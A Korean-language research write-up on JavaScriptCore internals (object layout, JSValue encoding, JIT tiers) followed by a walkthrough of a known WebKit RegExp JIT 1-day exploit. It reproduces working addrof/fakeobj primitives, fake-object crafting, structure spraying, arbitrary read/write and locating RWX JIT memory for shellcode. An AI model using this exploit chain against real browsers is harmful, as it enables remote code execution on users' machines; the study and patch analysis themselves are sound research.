JSC 1day
라온화이트햇 핵심연구팀 조진호
architecture
javascript engine의 기본적인 구조는 Javascript Source code → interpreter → byte code → JIT → optimized code
LLInt: interpreter
OSR: On Stack Repalcement
JSC는 위 그림에서 오른쪽에 FTL JIT을 추가한 것과 같다.
각 단계별 벤치, 그래프가 길수록 높은 높은 퍼포먼스를 의미한다.
build
임 ~/Workspace/WebKit.git Tools/Scripts/build-webkit --jsc-only --debug
임 ~/Workspace/WebKit.git/WebKitBuild/Debug/bin ./jsc
>>> a=10
10
>>> describe(a)
Int32: 10
>>> a = {}
[object Object]
>>> describe(a)
Object: 0x7f7c192b0080 with butterfly (nil) (Structure 0x7f7c192f20d0:[Object, {}, NonArray, Proto:0x7f7c192b4000]), StructureID: 76
>>> a = []
>>> describe(a)
Object: 0x7f7c192b4340 with butterfly 0x7f70000e4008 (Structure 0x7f7c192f2990:[Array, {}, ArrayWithUndecided, Proto:0x7f7c192c80a0, Leaf]), StructureID: 96
JSObject
>>> describe([1,2,3,4])
Object: 0x7f7c192b4360 with butterfly 0x7f70000e0040 (Structure 0x7f7c192f2c30:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7f7c192c80a0, Leaf]), StructureID: 102
>>> describe([1,2,3,4.1])
Object: 0x7f7c192b4370 with butterfly 0x7f70000e0070 (Structure 0x7f7c192f2ca0:[Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7f7c192c80a0, Leaf]), StructureID: 103
>>> describe([1,2,3,4.1,"AAAA"])
Object: 0x7f7c192b4390 with butterfly 0x7f70000dc010 (Structure 0x7f7c192f2d10:[Array, {}, CopyOnWriteArrayWithContiguous, Proto:0x7f7c192c80a0, Leaf]), StructureID: 104
>>> describe([1,2,3,4.1,"AAAA",[1,2,3]])
Object: 0x7fffb05b4360 with butterfly 0x7fe0000f8488 (Structure 0x7fffb05f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb05c80a0]), StructureID: 105
CopyOnWriteArrayWithInt32
, CopyOnWriteArrayWithDouble
, CopyOnWriteArrayWithContiguous
, ArrayWithContiguous
들어가는 데이터에 따라 다른 타입
>>> a = [1,2,3,4,5]
1,2,3,4,5
>>> describe(a)
Object: 0x7fffb05b4380 with butterfly 0x7fe0000e4038 (Structure 0x7fffb05f2a00:[Array, {}, ArrayWithInt32, Proto:0x7fffb05c80a0]), StructureID: 97
Object
ef➤ tel 0x7fffb05b4380
0x00007fffb05b4380│+0x0000: 0x0108210500000061 ("a"?)
0x00007fffb05b4388│+0x0008: 0x00007fe0000e4038 → 0xffff000000000001 // butterfly
0x00007fffb05b4390│+0x0010: 0x00000000badbeef0
0x00007fffb05b4398│+0x0018: 0x00000000badbeef0
...
0x0108210500000061
0x61 = structure id, 0x01082105 = flag
butterfly 0x7fe0000e4038
gef➤ tel 0x7fe0000e4038
0x00007fe0000e4038│+0x0000: 0xffff000000000001
0x00007fe0000e4040│+0x0008: 0xffff000000000002
0x00007fe0000e4048│+0x0010: 0xffff000000000003
0x00007fe0000e4050│+0x0018: 0xffff000000000004
0x00007fe0000e4058│+0x0020: 0xffff000000000005
0x00007fe0000e4060│+0x0028: 0x00000000badbeef0
...
앞의 ffff
는 형식 지정이다.
* The top 16-bits denote the type of the encoded JSValue:
*
* Pointer { 0000:PPPP:PPPP:PPPP
* / 0001:****:****:****
* Double { ...
* \ FFFE:****:****:****
* Integer { FFFF:0000:IIII:IIII
포인터
a = [{},{}]
[object Object],[object Object]
>>> describe(a)
Object: 0x7fffb05b4390 with butterfly 0x7fe0000e4068 (Structure 0x7fffb05f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb05c80a0]), StructureID: 99
gef➤ tel 0x7fe0000e4068 // butterfly
0x00007fe0000e4068│+0x0000: 0x00007fffb05b0080 → 0x010016000000004c ("L"?) // pointer
0x00007fe0000e4070│+0x0008: 0x00007fffb05b00c0 → 0x010016000000004c ("L"?) // pointer
0x00007fe0000e4078│+0x0010: 0x0000000000000000
0x00007fe0000e4080│+0x0018: 0x0000000000000000
0x00007fe0000e4088│+0x0020: 0x0000000000000000
0x00007fe0000e4090│+0x0028: 0x00000000badbeef0
또한 JSC는 엘리먼트랑 프로퍼티를 다음 그림과 같이 같은 영역에 보관한다.
--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
^
|
+---------------+
|
+-------------+
| Some Object |
+-------------+
테스트
>>> a = []
>>> a.push(1)
1
>>> a.push(2)
2
>>> a.a = 10
10
>>> a.b = 20
20
>>> describe(a)
Object: 0x7fffb05b43b0 with butterfly 0x7fe0000dc028 (Structure 0x7fffb05704d0:[Array, {a:100, b:101}, ArrayWithInt32, Proto:0x7fffb05c80a0, Leaf]), StructureID: 298
Array를 만들고 엘리먼트를 추가, 그리고 Array의 프로퍼티를 추가. butterfly는 아래와 같다.
gef➤ tel 0x7fe0000dc028-0x20
0x00007fe0000dc008│+0x0000: 0x0000000000000000
0x00007fe0000dc010│+0x0008: 0xffff000000000014
0x00007fe0000dc018│+0x0010: 0xffff00000000000a
0x00007fe0000dc020│+0x0018: 0x0000000500000002 // butterfly
0x00007fe0000dc028│+0x0020: 0xffff000000000001
0x00007fe0000dc030│+0x0028: 0xffff000000000002
0x00007fe0000dc038│+0x0030: 0x0000000000000000
0x00007fe0000dc040│+0x0038: 0x0000000000000000
0x00007fe0000dc048│+0x0040: 0x0000000000000000
0x00007fe0000dc050│+0x0048: 0x00000000badbeef0
10(0xa)과 20(0x14)가 추가되어있다. 또한 위의 a배열에 프로퍼티를 추가할 때 마다 StructrueID가 바뀌는 것을 볼 수 있다.
a = []
a.push(1)
a.push(2)
debug(describe(a))
a.a = 10
debug(describe(a))
a.b = 10
debug(describe(a))
--------------------------------------------------------
--> Object: 0x7f5980d9f468 with butterfly 0x7f406cbe4038 ... StructureID: 17316
--> Object: 0x7f5980d9f468 with butterfly 0x7f406cbe0028 ... StructureID: 35926
--> Object: 0x7f5980d9f468 with butterfly 0x7f406cbe0028 ... StructureID: 36249
이건 히든 클래스 때문이고 JSC Object의 전체적인 다이어그램은 아래와 같다.
+------------------------------------------+
| Butterfly |
| | b | a | length: 2 | 1 | 2 | |
+------------------------------------------+
^
+---------+
+----------+ |
| | |
+--+ JSCell | | +-----------------+
| | | | | |
| +----------+ | | MethodTable |
| /\ | | |
References | || inherits | | Put |
by ID in | +----++----+ | | Get |
structure | | +-----+ | Delete |
table | | JSObject | | VisitChildren |
| | |<----- | ... |
| +----------+ | | |
| /\ | +-----------------+
| || inherits | ^
| +----++----+ | |
| | | | associated |
| | JSArray | | prototype |
| | | | object |
| +----------+ | |
| | |
v | +-------+--------+
+-------------------+ | | ClassInfo |
| Structure +---+ +-->| |
| | | | Name: "Array" |
| property: slot | | | |
| a : 0 +----------+ +----------------+
| b : 1 |
| |
| |
+-------------------+
실제 위의 JSObject를 lldb
로 출력한 결과
(lldb) p *(JSC::JSObject *)0x7ffff019f468
(JSC::JSObject) $0 = {
JSC::JSCell = {
m_structureID = 31000
m_indexingTypeAndMisc = '\x05'
m_type = ArrayType
m_flags = '\b'
m_cellState = DefinitelyWhite
}
m_butterfly = (m_value = 0x00007ff8359e0028)
}
JIT
JSC는 4단계를 가지고 있다.
- LLint
- Baseline JIT
- DFG JIT
- FTL JIT
LLInt는 일반적인 C++인터프리터고 기본 JIT이 Baseline JIT,
옵션들로 JSC가 어떤 최적화를 진행하는지 알 수 있다.
반복분 1000번 진행시 Baseline JIT
fac = n => {
i = s = 0
while (i < n) {
s += i
i += 1
}
return s
}
a = []
for (i = 0; i < 1000; i++)
a.push(fac(i))
Optimized fac#DaoLIQ:[0x7fef14450000->0x7fef144fce70, LLIntFunctionCall, 167] with Baseline JIT into 4512 bytes in 1.345873 ms.
Optimized <global>#Axiom2:[0x7fef1445c000->0x7fef14464000, LLIntGlobal, 203] with Baseline JIT into 5600 bytes in 1.216012 ms.
[Finished in 0.3s]
10000번 반복시
**a = []
for (i = 0; i < 10000; i++)
a.push(fac(i))**
Optimized fac#DaoLIQ:[0x7f4659e50000->0x7f4659efce70, LLIntFunctionCall, 167] with Baseline JIT into 4512 bytes in 1.285669 ms.
Optimized <global>#B4X0zh:[0x7f4659e5c000->0x7f4659e64000, LLIntGlobal, 203] with Baseline JIT into 5600 bytes in 0.776776 ms.
Optimized fac#DaoLIQ:[0x7f4659e50230->0x7f4659e50000->0x7f4659efce70, NoneFunctionCall, 167] using DFGMode with DFG into 2240 bytes in 11.593936 ms.
Optimized <global>#B4X0zh:[0x7f4659e5c230->0x7f4659e5c000->0x7f4659e64000, NoneGlobal, 203] using DFGMode with DFG into 2336 bytes in 9.664092 ms.
Optimized fac#DaoLIQ:[0x7f4659e50460->0x7f4659e50000->0x7f4659efce70, NoneFunctionCall, 167 (DidTryToEnterInLoop)] using FTLMode with FTL into 672 bytes in 24.677882 ms (DFG: 16.702574, B3: 7.975308).
[Finished in 0.3s]
많은 작업 수행시 DFG JIT, FTL JIT을 사용해 최적화한다.
아래 1day에서는 JIT취약점을 이용해 트리거 하였다.
LinusHenze/WebKit-RegEx-Exploit
addrof
// addrof primitive
function addrof(val) {
var array = [13.37];
var reg = /abc/y;
// Target function
var AddrGetter = function(array) {
//reg[Symbol.match]();
"abc".match(reg);
return array[0];
}
// Force optimization
for (var i = 0; i < 10000; ++i)
AddrGetter(array);
// Setup haxx
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
};
reg.lastIndex = regexLastIndex;
// Do it!
return AddrGetter(array);
}
var reg = /abc/y;
에서 y
는 sticky
를 의미한다. sticky
모드에서는 lastIndex를 지정할 수 있는데 지정된 인덱스부터 비교하는 기능이다.
// Force optimization
for (var i = 0; i < 10000; ++i)
AddrGetter(array);
위 코드는 JIT최적화 기법중 간단한 코드는 인라이닝 하는 기법이 있는데 그것을 우회하기 위해 충분히 복잡하게 만들기 위해 사용한 코드이다.
// Setup haxx
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
};
reg.lastIndex = regexLastIndex;
sticky
모드에서 사용할 lastIndex
를 설정하는 코드이다. lastIndex
에서부터 regex 비교를 한다. 따라서 원래는 number
타입이 들어가야 한다.하지만 오브젝트를 넣고, toString
을 덮어써 리턴값을 문자열로 된 0으로 주면 실제 regex는 0을 받아 그 객체의 toString함수를 호출해 정상적으로 0번째 인덱스부터 찾으면서 array의 0번째 인덱스에 있는 13.37 값을 원하는 주소로 덮어쓴다. 마지막에 호출하는 AddrGetter
는 regex연산 후 array를 돌려준다.
// Target function
var AddrGetter = function(array) {
// reg[Symbol.match]();
"abc".match(reg);
return array[0];
}
원래는 흐름대로라면 array[0] = val
코드에서 array의 타입이 ArrayWithDouble
에서 ArrayWithContiguous
로 바뀌어야 하지만 JIT버그로 인해 그대로 ArrayWithDouble
타입의 엘리먼트에서 0번째 인덱스 (사용자가 설정한 주소)를 리턴한다.
return typeof regexp.lastIndex !== "number";
해당 취약점을 패치하기 위해 타입체크가 /builtins/RegExpPrototype.js
에 추가되었다.
fakeobj
fakeobj
는 addrof
를 반대로 만들어 작성할 수 있다.
// addrof primitive
function fakeobj(val) {
var array = [13.37];
var reg = /abc/y;
// Target function
var AddrSetter = function(array) {
// reg[Symbol.match]();
"abc".match(reg);
array[0] = val
}
// Force optimization
for (var i = 0; i < 10000; ++i)
AddrSetter(array);
// Setup haxx
regexLastIndex = Proxy;
regexLastIndex.toString = function() {
array[0] = [];
return "0";
};
reg.lastIndex = regexLastIndex;
// Do it!
AddrSetter(array);
return array[0]
}
a = [1, 2, 3]
va = addrof(a)
fa = fakeobj(va)
print(describe(va))
print(describe(fa))
a[0] = 10
a[1] = 20
a[2] = 30
print(fa)
regexLastIndex = Proxy;
regexLastIndex.toString = function() {
array[0] = [];
return "0";
};
reg.lastIndex = regexLastIndex;
현재 double
타입으로 된 array
의 첫번째 인자로 double
형 데이터가 아닌 array를
넣어주었다. 이제 array는 ArrayWithContiguous
타입으로 바뀐다.
// Target function
var AddrSetter = function(array) {
// reg[Symbol.match]();
"abc".match(reg);
array[0] = val
return array
}
위 코드는 JIT 취약점이 트리거 되는 코드인데 array[0]
의 값을 원하는 데이터로 덮어쓰고 있다. 이를 이용해 원하는 주소르 가진 오브젝트를 만들 수 있다. 아래부터 원하는 StructureID를 가진 가짜 오브젝트를 만드는 예제이다.
>>> a = {}
[object Object]
>>> a.a = 1
1
>>> a.b = 2
2
>>> a.c = 3
3
>>> describe(a)
Object: 0x7fffb05b0100 with butterfly (nil) (Structure 0x7fffb05703f0:[Object, {a:0, b:1, c:2}, NonArray, Proto:0x7fffb05b4000, Leaf]), StructureID: 296
gef➤ tel 0x7fffb05b0100
0x00007fffb05b0100│+0x0000: 0x0100160000000128 // JSC::JSCell | StructureID(128)
0x00007fffb05b0108│+0x0008: 0x0000000000000000 // butterfly
0x00007fffb05b0110│+0x0010: 0xffff000000000001 // a
0x00007fffb05b0118│+0x0018: 0xffff000000000002 // b
0x00007fffb05b0120│+0x0020: 0xffff000000000003 // c
0x00007fffb05b0128│+0x0028: 0x0000000000000000
여기서 a
오브젝트는 128이라는 StructureID
를 가진 오브젝트이다. 만약 저 StructureID
가 128과 같다면 마지 a
오브젝트처럼 프로퍼티에 접근이 가능하다. 이를 이용해 내부 프로퍼티를 조작 할 오브젝트를 만든다. JSC::JSCell
헤더는 double형식으로 똑같이 맞춰주면 된다.
a = {}
a.a = 1
a.b = 2
a.c = 3
print(describe(a))
for (i = 0; i < 0x1000; i++){
_ = {}
_.a = 1
_['a'+i] = 2
}
print(describe(_))
test code
gef➤ tel 0x7fffaf715480 // _ object
0x00007fffaf715480│+0x0000: 0x0100160000001128
0x00007fffaf715488│+0x0008: 0x0000000000000000
0x00007fffaf715490│+0x0010: 0xffff000000000001
0x00007fffaf715498│+0x0018: 0xffff000000000002
가장 마지막 _
object
>>> struct.unpack("d", struct.pack('Q', 0x0100160000001128-(1<<48)))
(7.082855106403679e-304,)
JSC::JSCell
헤더 (1<<48)
을 빼주는 이유는 순수 double로 이루어진 ArrayWithDouble
이 아니면 boxed형식으로 저장되는데 boxed형식으로 double데이터를 저장할 때 (1«48)을 더해서 double형식임을 알린다.
>>> a.a = 7.082855106403679e-304
gef➤ tel 0x7fffb05b0080
0x00007fffb05b0080│+0x0000: 0x0100160000000128
0x00007fffb05b0088│+0x0008: 0x0000000000000000
0x00007fffb05b0090│+0x0010: 0x0100160000001128 // JSC::JSCell
0x00007fffb05b0098│+0x0018: 0xffff000000000002
0x00007fffb05b00a0│+0x0020: 0xffff000000000003
fake object중 JSC::JSCell
완성. 다음 butterfly인 0x00007fffb05b0088│+0x0008: 0x0000000000000000
를 만들어야 하는데 쓸수가 없다. 왜냐하면
* The top 16-bits denote the type of the encoded JSValue:
*
* Pointer { 0000:PPPP:PPPP:PPPP
* / 0001:****:****:****
* Double { ...
* \ FFFE:****:****:****
* Integer { FFFF:0000:IIII:IIII
0으로 가득 채우면서 쓸 형식이 없다. null은 데이터를 넣는 게 아닌 delete로 해당 프로퍼티를 삭제하면 비워지게 된다.
>>> delete a.b
true
>>> describe(a)
Object: 0x7fffb05b0080 with butterfly (nil) (Structure 0x7fffaf71aca0:[Object, {a:0, c:2}, NonArray, Proto:0x7fffb05b4000, UncacheableDictionary, Leaf]), StructureID: 4393
gef➤ tel 0x7fffb05b0080
0x00007fffb05b0080│+0x0000: 0x0100160000001129 // a->JSC::JSCell
0x00007fffb05b0088│+0x0008: 0x0000000000000000 // butterfly
0x00007fffb05b0090│+0x0010: 0x0100160000001128 // a.a (fake JSC::JSCell)
0x00007fffb05b0098│+0x0018: 0x0000000000000000 // a.b (fake butterfly)
0x00007fffb05b00a0│+0x0020: 0xffff000000000003 // a.c
이제 addrof
로 a
의 주소를 얻고, a+0x10
의 주소를 fakeobj
로 받으면 성공적으로 오브젝트를 가져올 수 있다.
>>> struct.unpack("d", struct.pack('Q', 0x00007fffb05b0080+0x10))
(6.95328979012334e-310,)
>>> b = fakeobj(6.95328979012334e-310)
>>> b.a
3
>>> a.c = 4141
4141
>>> b.a
4141
# memory
gef➤ tel 0x7fffb05b0080
0x00007fffb05b0080│+0x0000: 0x0100160000001129 // a object
0x00007fffb05b0088│+0x0008: 0x0000000000000000 // a butterfly |
0x00007fffb05b0090│+0x0010: 0x0100160000001128 // a.a | b object
0x00007fffb05b0098│+0x0018: 0x0000000000000000 // a.b | b butterfly
0x00007fffb05b00a0│+0x0020: 0xffff00000000102d // a.c | b.a
이제 object overlapping
을 확인할 수 있다.
1-day exploit code
var structure_spray = []
for (var i = 0; i < 1000; ++i) {
var ary = [13.37];
ary.prop = 13.37;
ary['p'+i] = 13.37;
structure_spray.push(ary);
}
위에서 했던 spray코드이다.
[13.37] [13.37] [length] [13.37]
|
butterfly pointer
결과적으로 각 ary
의 butterfly
에는 이렇게 들어가게 된다. 이렇게 들어간 JSObject
를 structure_spray
의 butterfly
에 배열로 넣게 된다.
gef➤ tel 0x00007fe0001fa070-0x10
0x00007fe0001fa060│+0x0000: 0x00007fe0001fa001 → 0x7000007fffb0d016
0x00007fe0001fa068│+0x0008: 0x000003ec000003e8 // flag, length
0x00007fe0001fa070│+0x0010: 0x00007fffb05b4380 → 0x010821070000013c // idx: 0
0x00007fe0001fa078│+0x0018: 0x00007fffb05b4390 → 0x010821070000013d // idx: 1
0x00007fe0001fa080│+0x0020: 0x00007fffb05b43a0 → 0x010821070000013e // idx: 2
...
structure_spray
배열 상황
buf = new ArrayBuffer(8);
u32 = new Uint32Array(buf);
f64 = new Float64Array(buf);
// to victim
u32[0] = 0x200;
u32[1] = 0x01082007 - 0x10000;
var flags_double = f64[0];
u32[1] = 0x01082009 - 0x10000;
var flags_contiguous = f64[0];
flag를 만드는 부분.
var outer = {
header: flags_contiguous, // cell
butterfly: victim, // butterfly
};
var hax = stage1.fakeobj(stage1.addrof(outer) + 0x10);
outer
를 이용해 위에서 object overlapping
한 것과 똑같다.
var unboxed = eval(`[${'13.37,'.repeat(unboxed_size)}]`);
unboxed[0] = 4.2; // no CopyOnWrite
var boxed = [{}];
hax[1] = unboxed;
var shared_butterfly = f2i(victim[1]);
//print(`shared butterfly @ ${hex(shared_butterfly)}`);
hax[1] = boxed;
victim[1] = i2f(shared_butterfly);
outer.header = flags_double;
overlapping
한 오브젝트를 조작해 unboxed
와 boxed butterfly
를 만들고, 같은 메모리를 가리키게 한 뒤 double형식으로 바꿔 read
write
를 편하게 할 수 있게끔 만들었다.
addrof: function(victim) {
boxed[0] = victim;
return f2i(unboxed[0]);
},
fakeobj: function(addr) {
unboxed[0] = i2f(addr);
return boxed[0];
},
그것을 이용한 stage2
의 read
, write
function getJITFunction(rwx, silent) {
if (silent == undefined) {
silent = false;
}
var printFunc = print;
if (silent) {
printFunc = function (str) {};
}
var shellcodeFunc = makeJITCompiledFunction();
var shellcodeFuncAddr = addrof(shellcodeFunc);
printFunc("[+] Shellcode function @ " + shellcodeFuncAddr);
var executableAddr = memory.read_i64(shellcodeFuncAddr, 3);
printFunc("[+] Executable instance @ " + executableAddr);
var jitCodeAddr = memory.read_i64(executableAddr, 3);
printFunc("[+] JITCode instance @ " + jitCodeAddr);
var rwxMemAddr = memory.read_i64(jitCodeAddr, 4);
rwxMemAddr = stripPACifRequired(rwxMemAddr);
printFunc("[+] " + (rwx === true ? "RWX" : "RX") + " memory @ " + rwxMemAddr);
return [shellcodeFunc, rwxMemAddr];
}
read
, write
를 얻었다면 wasm
을 이용해 rwx
영역을 만들고 쉘코드 영역에 적고 실행하면 된다.
reference
http://phrack.org/papers/attacking_javascript_engines.html
https://www.youtube.com/watch?v=5tEdSoZ3mmE&list=PLhixgUqwRTjwufDsT1ntgOY9yjZgg5H_t&index=1